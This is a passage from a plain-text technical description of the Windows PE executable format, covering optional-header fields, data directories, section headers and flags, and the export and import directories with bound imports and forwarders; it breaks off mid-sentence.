The next thing is a 32-bit-value giving the total length of all headers
including the data directories and the section headers
('SizeOfHeaders'). It is at the same time the offset from the beginning
of the file to the first section's raw data.

Then we have got a 32-bit-checksum ('CheckSum'). This checksum is, for


current versions of NT, only checked if the image is a NT-driver (the
driver will fail to load if the checksum isn't correct). For other
binary types, the checksum need not be supplied and may be 0.
The algorithm to compute the checksum is property of Microsoft, and they
won't tell you. However, several tools of the Win32 SDK will compute
and/or patch a valid checksum, and the function CheckSumMappedFile() in
the imagehelp.dll will do so too.
The checksum is supposed to prevent loading of damaged binaries that
would crash anyway - and a crashing driver would result in a BSOD, so
it is better not to load it at all.

Then there is a 16-bit-word 'Subsystem' that tells in which of the


NT-subsystems the image runs:

IMAGE_SUBSYSTEM_NATIVE (1)
The binary doesn't need a subsystem. This is used for drivers.

IMAGE_SUBSYSTEM_WINDOWS_GUI (2)
The image is a Win32 graphical binary. (It can still open a
console with AllocConsole() but won't get one automatically at
startup.)

http://www.instinct.org/fravia/pe.txt (7 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

IMAGE_SUBSYSTEM_WINDOWS_CUI (3)
The binary is a Win32 console binary. (It will get a console
per default at startup, or inherit the parent's console.)

IMAGE_SUBSYSTEM_OS2_CUI (5)
The binary is a OS/2 console binary. (OS/2 binaries will be in
OS/2 format, so this value will seldom be used in a PE file.)

IMAGE_SUBSYSTEM_POSIX_CUI (7)
The binary uses the POSIX console subsystem.

Windows 95 binaries will always use the Win32 subsystem, so the only
legal values for these binaries are 2 and 3; I don't know if "native"
binaries on windows 95 are possible.

The next thing is a 16-bit-value that tells, if the image is a DLL, when
to call the DLL's entry point ('DllCharacteristics'). This seems not to
be used; apparently, the DLL is always notified about everything.
If bit 0 is set, the DLL is notified about process attachment (i.e.
DLL load).
If bit 1 is set, the DLL is notified about thread detachments (i.e.
thread terminations).
If bit 2 is set, the DLL is notified about thread attachments (i.e.
thread creations).
If bit 3 is set, the DLL is notified about process detachment (i.e.
DLL unload).

The next 4 32-bit-values are the size of reserved stack


('SizeOfStackReserve'), the size of initially committed stack
('SizeOfStackCommit'), the size of the reserved heap
('SizeOfHeapReserve') and the size of the committed heap
('SizeOfHeapCommit').
The 'reserved' amounts are address space (not real RAM) that is reserved
for the specific purpose; at program startup, the 'committed' amount is
actually allocated in RAM. The 'committed' value is also the amount by
which the committed stack or heap grows if necessary. (Other sources
claim that the stack will grow in pages, regardless of the
'SizeOfStackCommit' value. I didn't check this.)
So, as an example, if a program has a reserved heap of 1 MB and a
committed heap of 64 KB, the heap will start out at 64 KB and is
guaranteed to be enlargeable up to 1 MB. The heap will grow in
64-KB-chunks.
The 'heap' in this context is the primary (default) heap. A process can
create more heaps if so it wishes.
The stack is the first thread's stack (the one that starts main()). The
process can create more threads which will have their own stacks.
DLLs don't have a stack or heap of their own, so the values are ignored
for their images. I don't know if drivers have a heap or a stack of
their own, but I don't think so.

After these stack- and heap-descriptions, we find 32 bits of


'LoaderFlags', which I didn't find a useful description of. I only found
a vague note about setting bits that automatically invoke a breakpoint
or a debugger after loading the image; however, this doesn't seem to
work.

Then we find 32 bits of 'NumberOfRvaAndSizes', which is the number of


valid entries in the directories that follow immediatly. I've found this
value to be unreliable; you might wish use the constant
IMAGE_NUMBEROF_DIRECTORY_ENTRIES instead, or the lesser of both.

http://www.instinct.org/fravia/pe.txt (8 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

After the 'NumberOfRvaAndSizes' there is an array of


IMAGE_NUMBEROF_DIRECTORY_ENTRIES (16) IMAGE_DATA_DIRECTORYs.
Each of these directories describes the location (32 bits RVA called
'VirtualAddress') and size (also 32 bit, called 'Size') of a particular
piece of information, which is located in one of the sections that
follow the directory entries.
For example, the security directory is found at the RVA and has the size
that are given at index 4.
The directories that I know the structure of will be discussed later.
Defined directory indexes are:

IMAGE_DIRECTORY_ENTRY_EXPORT (0)
The directory of exported symbols; mostly used for DLLs.
Described below.

IMAGE_DIRECTORY_ENTRY_IMPORT (1)
The directory of imported symbols; see below.

IMAGE_DIRECTORY_ENTRY_RESOURCE (2)
Directory of resources. Described below.

IMAGE_DIRECTORY_ENTRY_EXCEPTION (3)
Exception directory - structure and purpose unknown.

IMAGE_DIRECTORY_ENTRY_SECURITY (4)
Security directory - structure and purpose unknown.

IMAGE_DIRECTORY_ENTRY_BASERELOC (5)
Base relocation table - see below.

IMAGE_DIRECTORY_ENTRY_DEBUG (6)
Debug directory - contents is compiler dependent. Moreover, many
compilers stuff the debug information into the code section and
don't create a separate section for it.

IMAGE_DIRECTORY_ENTRY_COPYRIGHT (7)
Description string - some arbitrary copyright note or the like.

IMAGE_DIRECTORY_ENTRY_GLOBALPTR (8)
Machine Value (MIPS GP) - structure and purpose unknown.

IMAGE_DIRECTORY_ENTRY_TLS (9)
Thread local storage directory - structure unknown; contains
variables that are declared "__declspec(thread)", i.e.
per-thread global variables.

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG (10)
Load configuration directory - structure and purpose unknown.

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (11)
Bound import directory - see description of import directory.

IMAGE_DIRECTORY_ENTRY_IAT (12)
Import Address Table - see description of import directory.

As an example, if we find at index 7 the 2 longwords 0x12000 and 33, and


the load address is 0x10000, we know that the copyright data is at
address 0x10000+0x12000 (in whatever section there may be), and the
copyright note is 33 bytes long.
If a directory of a particular type is not used in a binary, the Size
and VirtualAddress are both 0.

http://www.instinct.org/fravia/pe.txt (9 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

Section directories
-------------------

The sections consist of two major parts: first, a section description


(of type IMAGE_SECTION_HEADER) and then the raw section data. So after
the data directories we find an array of 'NumberOfSections' section
headers, ordered by the sections' RVAs.

A section header contains:

An array of IMAGE_SIZEOF_SHORT_NAME (8) bytes that make up the name


(ASCII) of the section. If all of the 8 bytes are used there is no 0-
terminator for the string! The name is typically something like ".data"
or ".text" or ".bss". There need not be a leading '.', the names may
also be "CODE" or "IAT" or the like.
Please note that the names are not at all related to the contents of the
section. A section named ".code" may or may not contain the executable
code; it may just as well contain the import address table; it may also
contain the code *and* the address table *and* the initialized data.
To find information in the sections, you will have to look it up via the
data directories of the optional header. Do not rely on the names, and
do not assume that the section's raw data starts at the beginning of a
section.

The next member of the IMAGE_SECTION_HEADER is a 32-bit-union of


'PhysicalAddress' and 'VirtualSize'. In an object file, this is the
address the contents is relocated to; in an executable, it is the size of
the contents. In fact, the field seems to be unused; There are linkers
that enter the size, and there are linkers that enter the address, and
I've also found a linker that enters a 0, and all the executables run
like the gentle wind.

The next member is 'VirtualAddress', a 32-bit-value holding the RVA to


the section's data when it is loaded in RAM.

Then we have got 32 bits of 'SizeOfRawData', which is the size of the


secion's data rounded up to the next multiple of 'FileAlignment'.

Next is 'PointerToRawData' (32 bits), which is incredibly useful because


it is the offset from the file's beginning to the section's data. If it
is 0, the section's data are not contained in the file and will be
arbitrary at load time.

Then we have got 'PointerToRelocations' (32 bits) and


'PointerToLinenumbers' (also 32 bits), 'NumberOfRelocations' (16 bits)
and 'NumberOfLinenumbers' (also 16 bits). All of these are information
that's only used for object files. Executables have a special base
relocation directory, and the line number information, if present at
all, is usually contained in a special purpose debugging segment or
elsewhere.

The last member of a section header is the 32 bits 'Characteristics',


which is a bunch of flags describing how the section's memory should be
treated:

If bit 5 (IMAGE_SCN_CNT_CODE) is set, the section contains


executable code.

http://www.instinct.org/fravia/pe.txt (10 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

If bit 6 (IMAGE_SCN_CNT_INITIALIZED_DATA) is set, the section


contains data that gets a defined value before execution starts. In
other words: the section's data in the file is meaningful.

If bit 7 (IMAGE_SCN_CNT_UNINITIALIZED_DATA) is set, this section


contains uninitialized data and will be initialized to all-0-bytes
before execution starts. This is normally the BSS.

If bit 9 (IMAGE_SCN_LNK_INFO) is set, the section doesn't contain


image data but comments, description or other documentation. This
information is part of an object file and may be information for the
linker, such as which libraries are needed.

If bit 11 (IMAGE_SCN_LNK_REMOVE) is set, the data is part of an


object file's section that is supposed to be left out when the
executable file is linked. Often combined with bit 9.

If bit 12 (IMAGE_SCN_LNK_COMDAT) is set, the section contains


"common block data", which are packaged functions of some sort.

If bit 15 (IMAGE_SCN_MEM_FARDATA) is set, we have far data -


whatever that means. This bit's meaning is unsure.

If bit 17 (IMAGE_SCN_MEM_PURGEABLE) is set, the section's data


is purgeable - but I don't think that this is the same as
"discardable", which has a bit of its own, see below.
The same bit is apparently used to indicate 16-bit-information as
there is also a define IMAGE_SCN_MEM_16BIT for it.
This bit's meaning is unsure.

If bit 18 (IMAGE_SCN_MEM_LOCKED) is set, the section should not be


moved in memory? Perhaps it indicates there is no relocation
information? This bit's meaning is unsure.

If bit 19 (IMAGE_SCN_MEM_PRELOAD) is set, the section should be


paged in before execution starts? This bit's meaning is unsure.

Bits 20 to 23 specify an alignment that I have no information


about. There are #defines IMAGE_SCN_ALIGN_16BYTES and the like. The
only value I've ever seen used is 0, for the default 16-byte-
alignment. I suspect that this is the alignment of objects in a
library file or the like.

If bit 24 (IMAGE_SCN_LNK_NRELOC_OVFL) is set, the section contains


some extended relocations that I don't know about.

If bit 25 (IMAGE_SCN_MEM_DISCARDABLE) is set, the section's data is


not needed after the process has started. This is the case,
for example, with the relocation information. I've seen it also for
startup routines of drivers and services that are only executed
once, and for import directories.

If bit 26 (IMAGE_SCN_MEM_NOT_CACHED) is set, the section's data


should not be cached. Don't ask my why not. Does this mean to switch
off the 2nd-level-cache?

If bit 27 (IMAGE_SCN_MEM_NOT_PAGED) is set, the section's data


should not be paged out. This is interesting for drivers.

If bit 28 (IMAGE_SCN_MEM_SHARED) is set, the section's data is


shared among all running instances of the image. If it is e.g. the

http://www.instinct.org/fravia/pe.txt (11 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

initialized data of a DLL, all running instances of the DLL will at


any time have the same variable contents.
Note that only the first instance's section is initialized.
Sections containing code are always shared copy-on-write (i.e. the
sharing doesn't work if relocations are necessary).

If bit 29 (IMAGE_SCN_MEM_EXECUTE) is set, the process gets


'execute'-access to the section's memory.

If bit 30 (IMAGE_SCN_MEM_READ) is set, the process gets


'read'-access to the section's memory.

If bit 31 (IMAGE_SCN_MEM_WRITE) is set, the process gets


'write'-access to the section's memory.

After the section headers we find the sections themselves. They are, in
the file, aligned to 'FileAlignment' bytes (that is, after the optional
header and after each section's data there will be padding bytes) and
ordered by their RVAs. When loaded (in RAM), the sections are aligned to
'SectionAlignment' bytes.

As an example, if the optional header ends at file offset 981 and


'FileAlignment' is 512, the first section will start at byte 1024. Note
that you can find the sections via the 'PointerToRawData' or the
'VirtualAddress', so there is hardly any need to actually fuss around
with the alignments.

I will try to make an image of it all:

+-------------------+
| DOS-stub |
+-------------------+
| file-header |
+-------------------+
| optional header |
|- - - - - - - - - -|
| |----------------+
| data directories | |
| | |
|(RVAs to direc- |-------------+ |
|tories in sections)| | |
| |---------+ | |
| | | | |
+-------------------+ | | |
| |-----+ | | |
| section headers | | | | |
| (RVAs to section |--+ | | | |
| borders) | | | | | |
+-------------------+<-+ | | | |
| | | <-+ | |
| section data 1 | | | |
| | | <-----+ |
+-------------------+<----+ |
| | |
| section data 2 | |
| | <--------------+
+-------------------+

http://www.instinct.org/fravia/pe.txt (12 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

There is one section header for each section, and each data directory
will point to one of the sections (several data directories may point to
the same section, and there may be sections without data directory
pointing to them).

Sections' raw data


------------------

general
-------
All sections are aligned to 'SectionAlignment' when loaded in RAM, and
'FileAlignment' in the file. The sections are described by entries in
the section headers: You find the sections in the file via
'PointerToRawData' and in memory via 'VirtualAddress'; the length is in
'SizeOfRawData'.

There are several kinds of sections, depending on what's contained in


them. In most cases (but not in all) there will be at least one
data directory in a section, with a pointer to it in the optional
header's data directory array.

code section
------------
First, I will mention the code section. The section will have, at least,
the bits 'IMAGE_SCN_CNT_CODE', 'IMAGE_SCN_MEM_EXECUTE' and
'IMAGE_SCN_MEM_READ' set, and 'AddressOfEntryPoint' will point somewhere
into the section, to the start of the function that the developer wants
to execute first.
'BaseOfCode' will normally point to the start of this section, but may
point to somewhere later in the section if some non-code-bytes are
placed before the code in the section.
Normally, there will be nothing but executable code in this section, and
there will be only one code section, but don't rely on this.
Typical section names are ".text", ".code", "AUTO" and the like.

data section
------------
The next thing we'll discuss is the initialized variables; this section
contains initialized static variables (like "static int i = 5;"). It will
have, at least, the bits 'IMAGE_SCN_CNT_INITIALIZED_DATA',
'IMAGE_SCN_MEM_READ' and 'IMAGE_SCN_MEM_WRITE' set. Some linkers may
place constant data into a section of their own that doesn't have the
writeable-bit. If part of the data is shareable, or there are other
peculiarities, there may be more sections with the apropriate section-
bits set.
The section, or sections, will be in the range 'BaseOfData' up to
'BaseOfData'+'SizeOfInitializedData'.
Typical section names are '.data', '.idata', 'DATA' and so on.

bss section
-----------
Then there is the uninitialized data (for static variables like "static
int k;"); this section is quite like the initialized data, but will have
a file offset ('PointerToRawData') of 0 indicating its contents is not

http://www.instinct.org/fravia/pe.txt (13 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

stored in the file, and 'IMAGE_SCN_CNT_UNINITIALIZED_DATA' is set


instead of 'IMAGE_SCN_CNT_INITIALIZED_DATA' to indicate that the
contents should be set to 0-bytes at load-time. This means, there is a
section header but no section in the file; the section will be created
by the loader and consist entirely of 0-bytes.
The length will be 'SizeOfUninitializedData'.
Typical names are '.bss', 'BSS' and the like.

These were the section data that are *not* pointed to by data
directories. Their contents and structure is supplied by the compiler,
not by the linker.
(The stack-segment and heap-segment are not sections in the binary but
created by the loader from the stacksize- and heapsize-entries in the
optional header.)

copyright
---------
To begin with a simple directory-section, let's look at the data
directory 'IMAGE_DIRECTORY_ENTRY_COPYRIGHT'. The contents is a
copyright- or description string in ASCII (not 0-terminated), like
"Gonkulator control application, copyright (c) 1848 Hugendubel & Cie".
This string is, normally, supplied to the linker with the command line
or a description file.
This string is not needed at runtime and may be discarded. It is not
writeable; in fact, the application doesn't need access at all.
So the linker will find out if there is a discardable non-writeable
section already and if not, create one (named '.descr' or the like). It
will then stuff the string into the section and let the
copyright-directory-pointer point to the string. The
'IMAGE_SCN_CNT_INITIALIZED_DATA' bit should be set.

exported symbols
----------------
(Note that the description of the export directory was faulty in versions
of this text before 1999-03-12. It didn't describe forwarders, exports
by ordinal only, or exports with several names.)

The next-simplest thing is the export directory,


'IMAGE_DIRECTORY_ENTRY_EXPORT'. This is a directory typically found
in DLLs; it contains the entry points of exported functions (and the
addresses of exported objects etc.). Executables may of course also have
exported symbols but usually they don't.
The containing section should be "initialized data" and "readable". It
should not be "discardable" because the process might call
"GetProcAddress()" to find a function's entry point at runtime.
The section is normally called '.edata' if it is a separate thing; often
enough, it is merged into some other section like "initialized data".

The structure of the export table ('IMAGE_EXPORT_DIRECTORY') comprises a


header and the export data, that is: the symbol names, their ordinals
and the offsets to their entry points.

First, we have 32 bits of 'Characteristics' that are unused and normally


0. Then there is a 32-bit-'TimeDateStamp', which presumably should give
the time the table was created in the time_t-format; alas, it is not
always valid (some linkers set it to 0). Then we have 2 16-bit-words of
version-info ('MajorVersion' and 'MinorVersion'), and these, too, are
often enough set to 0.

http://www.instinct.org/fravia/pe.txt (14 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

The next thing is 32 bits of 'Name'; this is an RVA to the DLL name as a
0-terminated ASCII string. (The name is necessary in case the DLL file is
renamed - see "binding" at the import directory.)
Then, we have got a 32-bit-'Base'. We'll come to that in a moment.

The next 32-bit-value is the total number of exported items


('NumberOfFunctions'). In addition to their ordinal number, items may be
exported by one or several names. and the next 32-bit-number is the
total number of exported names ('NumberOfNames').
In most cases, each exported item will have exactly one corresponding
name and it will be used by that name, but an item may have several
associated names (it is then accessible by each of them), or it may have
no name, in which case it is only accessible by its ordinal number. The
use of unnamed exports (purely by ordinal) is discouraged, because all
versions of the exporting DLL would have to use the same ordinal
numbering, which is a maintainance problem.

The next 32-bit-value 'AddressOfFunctions' is a RVA to the list of


exported items. It points to an array of 'NumberOfFunctions'
32-bit-values, each being a RVA to the exported function or variable.

There are 2 quirks about this list: First, such an exported RVA may be 0,
in which case it is unused. Second, if the RVA points into the section
containing the export directory, this is a forwarded export. A forwarded
export is a pointer to an export in another binary; if it is used, the
pointed-to export in the other binary is used instead. The RVA in this
case points, as mentioned, into the export directory's section, to a
zero-terminated string comprising the name of the pointed-to DLL and
the export name separated by a dot, like "otherdll.exportname", or the
DLL's name and the export ordinal, like "otherdll.#19".

Now is the time to explain the export ordinal. An export's ordinal is


the index into the AddressOfFunctions-Array (the 0-based position in
this array) plus the 'Base' mentioned above.
In most cases, the 'Base' is 1, which means the first export has an
ordinal of 1, the second has an ordinal of 2 and so on.

After the 'AddressOfFunctions'-RVA we find a RVA to the array of


32-bit-RVAs to symbol names 'AddressOfNames', and a RVA to the array of
16-bit-ordinals 'AddressOfNameOrdinals'. Both arrays have
'NumberOfNames' elements.
The symbol names may be missing entirely, in which case the
'AddressOfNames' is 0. Otherwise, the pointed-to arrays are running
parallel, which means their elements at each index belong together. The
'AddressOfNames'-array consists of RVAs to 0-terminated export names;
the names are held in a sorted list (i.e. the first array member is the
RVA to the alphabetically smallest name; this allows efficient searching
when looking up an exported symbol by name).
According to the PE specification, the 'AddressOfNameOrdinals'-array has
the ordinal corresponding to each name; however, I've found this array
to contain the actual index into the 'AddressOfFunctions-Array instead.

I'll draw a picture about the three tables:

AddressOfFunctions
|
|
|
v
exported RVA with ordinal 'Base'

http://www.instinct.org/fravia/pe.txt (15 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

exported RVA with ordinal 'Base'+1


...
exported RVA with ordinal 'Base'+'NumberOfFunctions'-1

AddressOfNames AddressOfNameOrdinals
| |
| |
| |
v v
RVA to first name <-> Index of export for first name
RVA to second name <-> Index of export for second name
... ...
RVA to name 'NumberOfNames' <-> Index of export for name 'NumberOfNames'

Some examples are in order.

To find an exported symbol by ordinal, subtract the 'Base' to get the


index, follow the 'AddressOfFunctions'-RVA to find the exports-array and
use the index to find the exported RVA in the array. If it does not
point into the export section, you are done. Otherwise, it points to a
string describing the exporting DLL and the name or ordinal therein, and
you have to look up the forwarded export there.

To find an exported symbol by name, follow the 'AddressOfNames'-RVA (if


it is 0 there are no names) to find the array of RVAs to the export
names. Search your name in the list. Use the name's index in the
'AddressOfNameOrdinals'-Array and get the 16-bit-number corresponding to
the found name. According to the PE spec, it is an ordinal and you need
to subtract the 'Base' to get the export index; according to my
experiences it is the export index and you don't subtract. Using the
export index, you find the export RVA in the 'AddressOfFunctions'-Array,
being either the exported RVA itself or a RVA to a string describing a
forwarded export.

imported symbols
----------------
When the compiler finds a call to a function that is in a different
executable (mostly in a DLL), it will, in the most simplistic case, not
know anything about the circumstances and simply output a normal
call-instruction to that symbol, the address of which the linker will
have to fix, like it does for any external symbol.
The linker uses an import library to look up from which DLL which symnol
is imported, and produces stubs for all the imported symbols, each of
which consists of a jump-instruction; the stubs are the actual
call-targets. These jump-instructions will actually jump to an address
that's fetched from the so-called import address table. In more
sophisticated applications (when "__declspec(dllimport)" is used), the
compiler knows the function is imported, and outputs a call to the
address that's in the import address table, bypassing the jump.

Anyway, the address of the function in the DLL is always necessary and
will be supplied by the loader from the exporting DLL's export directory
when the application is loaded. The loader knows which symbols in what
libraries have to be looked up and their addresses fixed by searching
the import directory.

I will better give you an example. The calls with or without

http://www.instinct.org/fravia/pe.txt (16 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

__declspec(dllimport) look like this:

source:
int symbol(char *);
__declspec(dllimport) int symbol2(char*);
void foo(void)
{
int i=symbol("bar");
int j=symbol2("baz");
}

assembly:
...
call _symbol ; without declspec(dllimport)
...
call [__imp__symbol2] ; with declspec(dllimport)
...

In the first case (without __declspec(dllimport)), the compiler didn't


know that '_symbol' was in a DLL, so the linker has to provide the
function '_symbol'. Since the function isn't there, it will supply a
stub function for the imported symbol, being an indirect jump. The
collection of all import-stubs is called the "transfer area" (also
sometimes called a "trampoline", because you jump there in order to jump
to somewhere else).
Typically this transfer area is located in the code section (it is not
part of the import directory). Each of the function stubs is a jump to
the actual function in the target DLLs. The transfer area looks like
this:

_symbol: jmp [__imp__symbol]


_other_symbol: jmp [__imp__other__symbol]
...

This means: if you use imported symbols without specifying


"__declspec(dllimport)" then the linker will generate a transfer area
for them, consisting of indirect jumps. If you do specify
"__declspec(dllimport)", the compiler will do the indirection itself and
a transfer area is not necessary. (It also means: if you import
variables or other stuff you must specify "__declspec(dllimport)",
because a stub with a jmp instruction is appropriate for functions
only.)

In any case the adress of symbol 'x' is stored at a location '__imp_x'.


All these locations together comprise the so-called "import address
table", which is provided to the linker by the import libraries of the
various DLLs that are used. The import address table is a list of
addresses like this:

__imp__symbol: 0xdeadbeef
__imp__symbol2: 0x40100
__imp__symbol3: 0x300100
...

This import address table is a part of the import directory, and it is


pointed to by the IMAGE_DIRECTORY_ENTRY_IAT directory pointer (although
some linkers don't set this directory entry and it works nevertheless;
apparently, the loader can resolve imports without using the directory
IMAGE_DIRECTORY_ENTRY_IAT).
The addresses in this table are unknown to the linker; the linker

http://www.instinct.org/fravia/pe.txt (17 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

inserts dummies (RVAs to the function names; see below for more
information) that are patched by the loader at load time using the
export directory of the exporting DLL. The import address table, and how
it is found by the loader, will be described in more detail later in
this chapter.

Note that this description is C-specific; there are other application


building environments that don't use import libraries. They all need to
generate an import address table, though, which they use to let their
programs access the imported objects and functions. C compilers tend to
use import libraries because it is convenient for them - their linkers
use libraries anyway. Other environments use e.g. a description file
that lists the necessary DLL names and function names (like the "module
definition file"), or a declaration-style list in the source.

This is how imports are used by the program's code; now we'll look how
an import directory is made up so the loader can use it.

The import directory should reside in a section that's "initialized


data" and "readable".
The import directory is an array of IMAGE_IMPORT_DESCRIPTORs, one for
each used DLL. The list is terminated by a IMAGE_IMPORT_DESCRIPTOR
that's entirely filled with 0-bytes.
An IMAGE_IMPORT_DESCRIPTOR is a struct with these members:

OriginalFirstThunk
An RVA (32 bit) pointing to a 0-terminated array of RVAs to
IMAGE_THUNK_DATAs, each describing one imported function. The
array will never change.

TimeDateStamp
A 32-bit-timestamp that has several purposes. Let's pretend that
the timestamp is 0, and handle the advanced cases later.

ForwarderChain
The 32-bit-index of the first forwarder in the list of imported
functions. Forwarders are also advanced stuff; set to all-bits-1
for beginners.

Name
A 32-bit-RVA to the name (a 0-terminated ASCII string) of the
DLL.

FirstThunk
An RVA (32 bit) to a 0-terminated array of RVAs to
IMAGE_THUNK_DATAs, each describing one imported function. The
array is part of the import address table and will change.

So each IMAGE_IMPORT_DESCRIPTOR in the array gives you the name of the


exporting DLL and, apart from the forwarder and timestamp, it gives you
2 RVAs to arrays of IMAGE_THUNK_DATAs, using 32 bits. (The last member
of each array is entirely filled with 0-bytes to mark the end.)
Each IMAGE_THUNK_DATA is, for now, an RVA to a IMAGE_IMPORT_BY_NAME
which describes the imported function.
The interesting point is now, the arrays run parallel, i.e.: they point
to the same IMAGE_IMPORT_BY_NAMEs.

No need to be desparate, I will draw another picture. This is the


essential contents of one IMAGE_IMPORT_DESCRIPTOR:

http://www.instinct.org/fravia/pe.txt (18 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

OriginalFirstThunk FirstThunk
| |
| |
| |
V V

0--> func1 <--0


1--> func2 <--1
2--> func3 <--2
3--> foo <--3
4--> mumpitz <--4
5--> knuff <--5
6-->0 0<--6 /* the last RVA is 0! */

where the names in the center are the yet to discuss


IMAGE_IMPORT_BY_NAMEs. Each of them is a 16-bit-number (a hint) followed
by an unspecified amount of bytes, being the 0-terminated ASCII name of
the imported symbol.
The hint is an index into the exporting DLL's name table (see export
directory above). The name at that index is tried, and if it doesn't
match then a binary search is done to find the name.
(Some linkers don't bother to look up correct hints and simply specify
1 all the time, or some other arbitrary number. This doesn't harm, it
just makes the first attempt to resolve the name always fail, enforcing
a binary search for each name.)

To summarize, if you want to look up information about the imported


function "foo" from DLL "knurr", you first find the entry
IMAGE_DIRECTORY_ENTRY_IMPORT in the data directories, get an RVA, find
that address in the raw section data and now have an array of
IMAGE_IMPORT_DESCRIPTORs. Get the member of this array that relates to
the DLL "knurr" by inspecting the strings pointed to by the 'Name's.
When you have found the right IMAGE_IMPORT_DESCRIPTOR, follow its
'OriginalFirstThunk' and get hold of the pointed-to array of
IMAGE_THUNK_DATAs; inspect the RVAs and find the function "foo".

Ok, now, why do we have *two* lists of pointers to the


IMAGE_IMPORT_BY_NAMEs? Because at runtime the application doesn't need
the imported functions' names but the addresses. This is where the
import address table comes in again. The loader will look up each
imported symbol in the export-directory of the DLL in question and
replace the IMAGE_THUNK_DATA-element in the 'FirstThunk'-list (which
until now also points to the IMAGE_IMPORT_BY_NAME) with the linear
address of the DLL's entry point.
Remember the list of addresses with labels like "__imp__symbol"; the
import address table, pointed to by the data directory
IMAGE_DIRECTORY_ENTRY_IAT, is exactly the list pointed to by
'FirstThunk'. (In case of imports from several DLLs, the import address
table comprises the 'FirstThunk'-Arrays of all the DLLs. The directory
entry IMAGE_DIRECTORY_ENTRY_IAT may be missing, the imports will still
work fine.)
The 'OriginalFirstThunk'-array remains untouched, so you can always look
up the original list of imported names via the
'OriginalFirstThunk'-list.

The import is now patched with the correct linear addresses and looks
like this:

OriginalFirstThunk FirstThunk
| |

http://www.instinct.org/fravia/pe.txt (19 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

| |
| |
V V

0--> func1 0--> exported func1


1--> func2 1--> exported func2
2--> func3 2--> exported func3
3--> foo 3--> exported foo
4--> mumpitz 4--> exported mumpitz
5--> knuff 5--> exported knuff
6-->0 0<--6

This was the basic structure, for simple cases. Now we'll learn about
tweaks in the import directories.

First, the bit IMAGE_ORDINAL_FLAG (that is: the MSB) of the


IMAGE_THUNK_DATA in the arrays can be set, in which case there is no
symbol-name-information in the list and the symbol is imported purely by
ordinal. You get the ordinal by inspecting the lower word of the
IMAGE_THUNK_DATA.
The import by ordinals is discouraged; it is much safer to import by
name, because the export ordinals might change if the exporting DLL is
not in the expected version.

Second, there are the so-called "bound imports".

Think about the loader's task: when a binary that it wants to execute
needs a function from a DLL, the loader loads the DLL, finds its export
directory, looks up the function's RVA and calculates the function's
entry point. Then it patches the so-found address into the 'FirstThunk'-
list.
Given that the programmer was clever and supplied unique preferred load
addresses for the DLLs that don't clash, we can assume that the
functions' entry points will always be the same. They can be computed
and patched into the 'FirstThunk'-list at link-time, and that's what
happens with the "bound imports". (The utility "bind" does this; it is
part of the Win32 SDK.)

Of course, one must be cautious: The user's DLL may have a different
version, or it may be necessary to relocate the DLL, thus invalidating
the pre-patched 'FirstThunk'-list; in this case, the loader will still
be able to walk the 'OriginalFirstThunk'-list, find the imported symbols
and re-patch the 'FirstThunk'-list. The loader knows that this is
necessary if a) the versions of the exporting DLL don't match or b) the
exporting DLL had to be relocated.

To decide whether there were relocations is no problem for the loader,


but how to find out if the versions differ? This is where the
'TimeDateStamp' of the IMAGE_IMPORT_DESCRIPTOR comes in. If it is 0, the
import-list has not been bound, and the loader must fix the entry points
always. Otherwise, the imports are bound, and 'TimeDateStamp' must match
the 'TimeDateStamp' of the exporting DLL's 'FileHeader'; if it doesn't
match, the loader assumes that the binary is bound to a "wrong" DLL and
will re-patch the import list.

There is an additional quirk about "forwarders" in the import-list. A DLL


can export a symbol that's not defined in the DLL but imported from
another DLL; such a symbol is said to be forwarded (see the export
directory description above).
Now, obviously you can't tell if the symbol's entry point is valid by

http://www.instinct.org/fravia/pe.txt (20 of 34) [2/7/2001 3:29:48 PM]


http://www.instinct.org/fravia/pe.txt

looking into the timestamp of a DLL that doesn't actually contain the
entry point. So the forwarded symbols' entry points must always be fixed
up, for safety reasons. In the import list of a binary, imports of
forwarded symbols need to be found so the loader can patch them.

This is done via the 'ForwarderChain'. It is an index into the thunk-


lists; the import at the indexed position is a forwarded export, and the
contents of the 'FirstThunk'-list at this position is the index of the
*next* forwarded import, and so on, until the index is "-1" which
indicates there are no more forwards. If there are no forwarders at all,
'ForwarderChain' is -1 itself.

This was the so-called "old-style" binding.

At this point, we should sum up what we have had so far :-)

Ok, I will assume you have found the IMAGE_DIRECTORY_ENTRY_IMPORT and you have
followed it to find the import-directory, which will be in one of the
sections. Now you're at the beginning of an array of
IMAGE_IMPORT_DESCRIPTORs the last of which will be entirely 0-bytes-
filled.
To decipher one of the IMAGE_IMPORT_DESCRIPTORs, you first look into the
'Name'-field, follow the RVA and thusly find the name of the exporting
DLL. Next you decide whether the imports are bound or not;
'TimeDateStamp' will be non-zero if the imports are bound. If they are
bound, now is a good time to check if the DLL version matches yours by
comparing the 'TimeDateStamp's.
Now you follow the 'OriginalFirstThunk'-RVA to go to the
IMAGE_THUNK_DATA-array; walk down this array (it is be 0-terminated),
and each member will be the RVA of a IMAGE_IMPORT_BY_NAME (unless the
hi-bit is set in which case you don't have a name but are left with a
mere ordinal). Follow the RVA, and skip 2 bytes (the hint), and now
you have got a 0-terminated ASCII-string that's the name of the imported
function.
To find the supplied entry point addresses in case it is a bound import,
follow the 'FirstThunk' and walk it parallel to the
'OriginalFirstThunk'-array; the array-members are the linear addresses
of the entry points (leaving aside the forwarders-topic for a moment).

There is one thing I didn't mention until now: Apparently there are
linkers that exhibit a bug when they build the import directory (I've
found this bug being in use by a Borland C linker). These linkers set
